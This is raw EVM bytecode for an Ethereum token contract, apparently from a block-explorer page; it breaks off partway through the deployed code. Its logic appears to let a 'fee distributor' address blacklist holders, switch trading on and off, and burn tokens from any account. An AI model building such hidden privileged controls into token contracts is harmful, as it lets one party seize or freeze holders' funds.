5b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006969e10de76676d0800000831115610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90612875565b60405180910390fd5b81610a43576000610a3484611398565b50505050905080915050610a59565b6000610a4e84611398565b505050915050809150505b92915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690612809565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690612907565b60405180910390fd5b610b8c81604051806060016040528060228152602001612f9d6022913984611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c25611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca990612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d78611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612809565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101590612809565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546110b1906126f9565b80601f01602080910402602001604051908101604052809291908181526020018280546110dd906126f9565b801561112a5780601f106110ff5761010080835404028352916020019161112a565b820191906000526020600020905b81548152906001019060200180831161110d57829003601f168201915b5050505050905090565b60006111f7611141611390565b846111f28560405180606001604052806025815260200161300d602591396005600061116b611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b6001905092915050565b600061121561120e611390565b8484611619565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d1d565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c919061243d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090612c1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612cac565b60405180910390fd5b6000811161173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390612d3e565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117dd5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118265760008114611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c90612d84565b60405180910390fd5b5b60011515600f60009054906101000a900460ff161515148061187a575061184b611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806118b75750611888611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611cc157600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561195f5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b12576119d081604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6581600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b05919061243d565b60405180910390a3611cbc565b611b7e81604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1381600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb3919061243d565b60405180910390a35b611d18565b60011515600f60009054906101000a900460ff16151514611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e90612d84565b60405180910390fd5b5b505050565b6000838311158290611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c9190612338565b60405180910390fd5b5060008385611d749190612da4565b9050809150509392505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e54905060006969e10de76676d0800000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e546969e10de76676d0800000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f6969e10de76676d0800000600e546112fc90919063ffffffff16565b8210156121af57600e546969e10de76676d08000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b6124378161223c565b82525050565b6000602082019050612452600083018461242e565b92915050565b60008060006060848603121561247157612470612237565b5b600061247f868287016123a3565b9350506020612490868287016123a3565b92505060406124a18682870161225d565b9150509250925092565b600060ff82169050919050565b6124c1816124ab565b82525050565b60006020820190506124dc60008301846124b8565b92915050565b6000602082840312156124f8576124f7612237565b5b6000612506848285016123a3565b91505092915050565b612518816123f8565b811461252357600080fd5b50565b6000813590506125358161250f565b92915050565b6000806040838503121561255257612551612237565b5b60006125608582860161225d565b925050602061257185828601612526565b9150509250929050565b60008060006060848603121561259457612593612237565b5b60006125a2868287016123a3565b93505060206125b38682870161225d565b92505060406125c48682870161225d565b9150509250925092565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612787602a836122aa565b91506127928261272b565b604082019050919050565b600060208201905081810360008301526127b68161277a565b9050919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b60006127f3601d836122aa565b91506127fe826127bd565b602082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b600061285f601f836122aa565b915061286a82612829565b602082019050919050565b6000602082019050818103600083015261288e81612852565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006128f1602c836122aa565b91506128fc82612895565b604082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c046025836122aa565b9150612c0f82612ba8565b604082019050919050565b60006020820190508181036000830152612c3381612bf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c966023836122aa565b9150612ca182612c3a565b604082019050919050565b60006020820190508181036000830152612cc581612c89565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d286029836122aa565b9150612d3382612ccc565b604082019050919050565b60006020820190508181036000830152612d5781612d1b565b9050919050565b50565b6000612d6e6000836122aa565b9150612d7982612d5e565b600082019050919050565b60006020820190508181036000830152612d9d81612d61565b9050919050565b6000612daf8261223c565b9150612dba8361223c565b925082821015612dcd57612dcc612993565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201baadc96e61617ef5cfa782c7454e328b80bd679edecaad613c85278bc0f139464736f6c634300080800330000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80634d1d2b1a116100c35780638da5cb5b1161007c5780638da5cb5b1461038a57806395d89b41146103a8578063a457c2d7146103c6578063a9059cbb146103f6578063dd62ed3e14610426578063e45c322e146104565761014d565b80634d1d2b1a146102f257806370a082311461030e578063715018a61461033e57806375619ab5146103485780638129fc1c1461036457806383846fe21461036e5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634355b9d2146102a65780634549b039146102c25761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c578063158ef93e146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101c46106b0565b6040516101d19190612413565b60405180910390f35b6101e26106c7565b6040516101ef919061243d565b60405180910390f35b610212600480360381019061020d9190612458565b6106d9565b60405161021f9190612413565b60405180910390f35b610242600480360381019061023d9190612272565b6107b2565b60405161024f919061243d565b60405180910390f35b610260610820565b60405161026d91906124c7565b60405180910390f35b610290600480360381019061028b91906123b8565b610837565b60405161029d9190612413565b60405180910390f35b6102c060048036038101906102bb91906124e2565b6108ea565b005b6102dc60048036038101906102d7919061253b565b6109d5565b6040516102e9919061243d565b60405180910390f35b61030c6004803603810190610307919061257b565b610a5f565b005b610328600480360381019061032391906124e2565b610bd4565b604051610335919061243d565b60405180910390f35b610346610c1d565b005b610362600480360381019061035d91906124e2565b610d70565b005b61036c610ea4565b005b610388600480360381019061038391906124e2565b610f8e565b005b610392611079565b60405161039f91906125dd565b60405180910390f35b6103b06110a2565b6040516103bd9190612338565b60405180910390f35b6103e060048036038101906103db91906123b8565b611134565b6040516103ed9190612413565b60405180910390f35b610410600480360381019061040b91906123b8565b611201565b60405161041d9190612413565b60405180910390f35b610440600480360381019061043b91906125f8565b61121f565b60405161044d919061243d565b60405180910390f35b610470600480360381019061046b91906124e2565b6112a6565b60405161047d9190612413565b60405180910390f35b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b6000600f60009054906101000a900460ff16905090565b60006969e10de76676d0800000905090565b60006106e6848484611619565b6107a7846106f2611390565b6107a285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610758611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b600190509392505050565b6000600e548211156107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f09061279d565b60405180910390fd5b6000610803611d81565b905061081881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006108e0610844611390565b846108db8560056000610855611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097190612809565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006969e10de76676d0800000831115610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90612875565b60405180910390fd5b81610a43576000610a3484611398565b50505050905080915050610a59565b6000610a4e84611398565b505050915050809150505b92915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690612809565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690612907565b60405180910390fd5b610b8c81604051806060016040528060228152602001612f9d6022913984611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c25611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca990612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d78611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612809565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101590612809565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546110b1906126f9565b80601f01602080910402602001604051908101604052809291908181526020018280546110dd906126f9565b801561112a5780601f106110ff5761010080835404028352916020019161112a565b820191906000526020600020905b81548152906001019060200180831161110d57829003601f168201915b5050505050905090565b60006111f7611141611390565b846111f28560405180606001604052806025815260200161300d602591396005600061116b611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b6001905092915050565b600061121561120e611390565b8484611619565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d1d565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c919061243d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090612c1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612cac565b60405180910390fd5b6000811161173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390612d3e565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117dd5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118265760008114611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c90612d84565b60405180910390fd5b5b60011515600f60009054906101000a900460ff161515148061187a575061184b611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806118b75750611888611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611cc157600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561195f5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b12576119d081604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6581600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffff